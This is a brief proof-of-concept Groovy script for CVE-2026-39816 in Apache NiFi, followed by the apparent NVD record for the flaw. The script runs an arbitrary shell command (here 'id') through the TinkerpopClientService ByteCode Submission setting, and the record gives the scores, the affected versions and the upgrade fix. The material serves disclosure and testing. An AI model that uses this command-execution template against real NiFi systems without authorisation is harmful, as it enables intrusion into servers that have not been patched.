CVE-2026-39816

// PoC for CVE-2026-39816: Apache NiFi TinkerpopClientService RCE // This Groovy script demonstrates command execution via the vulnerable service. // It should be submitted through the ByteCode Submission configuration. def executeCommand(String command) { def process = command.execute() process.waitFor() return process.text } // Example Payload: Execute 'id' command to verify user context def result = executeCommand("id") // Output result to NiFi logs or return as query result println "[+] Execution Result: ${result}"

{"cve": {"id": "CVE-2026-39816", "sourceIdentifier": "[email protected]", "published": "2026-05-08T14:16:32.667", "lastModified": "2026-05-09T02:16:07.763", "vulnStatus": "Modified", "cveTags": [], "descriptions": [{"lang": "en", "value": "The optional extension component TinkerpopClientService is missing the Restricted annotation with the Execute Code Required Permission in Apache NiFi 2.0.0-M1 through 2.8.0. The TinkerpopClientService supports configuration of ByteCode Submission for the Script Submission Type, enabling Groovy Script execution in the service prior to submitting the query. The missing Restricted annotation allows users without the Execute Code Permission to configure the Service in installations that use fine-grained authorization and have the optional TinkerpopClientService installed. Apache NiFi installations that do not have the nifi-other-graph-services-nar installed are not subject to this vulnerability. Upgrading to Apache NiFi 2.9.0 is the recommended mitigation."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:P/PR:H/UI:N/VC:H/VI:H/VA:H/SC:L/SI:L/SA:L/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:Y/R:I/V:C/RE:L/U:Green", "baseScore": 7.5, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "PRESENT", "privilegesRequired": "HIGH", "userInteraction": "NONE", "vulnConfidentialityImpact": "HIGH", "vulnIntegrityImpact": "HIGH", "vulnAvailabilityImpact": "HIGH", "subConfidentialityImpact": "LOW", "subIntegrityImpact": "LOW", "subAvailabilityImpact": "LOW", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "YES", "Recovery": "IRRECOVERABLE", "valueDensity": "CONCENTRATED", "vulnerabilityResponseEffort": "LOW", "providerUrgency": "GREEN"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "baseScore": 8.8, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-862"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:apache:nifi:*:*:*:*:*:*:*:*", "versionStartIncluding": "2.0.0", "versionEndExcluding": "2.9.0", "matchCriteriaId": "E6EE89E7-33B3-4982-BE8E-C389E10B2838"}]}]}], "references": [{"url": "https://lists.apache.org/thread/gh9g7xwvv4l20gzff6q3367snf35ctcb", "source": "[email protected]", "tags": ["Mailing List", "Vendor Advisory"]}, {"url": "http://www.openwall.com/lists/oss-security/2026/04/13/8", "source": "af854a3a-2127-422b-91ae-364da2661108", "tags": ["Mailing List", "Third Party Advisory"]}, {"url": "https://zeropath.com/blog/nifi-cve-2026-39816-privesc-rce", "source": "af854a3a-2127-422b-91ae-364da2661108"}]}}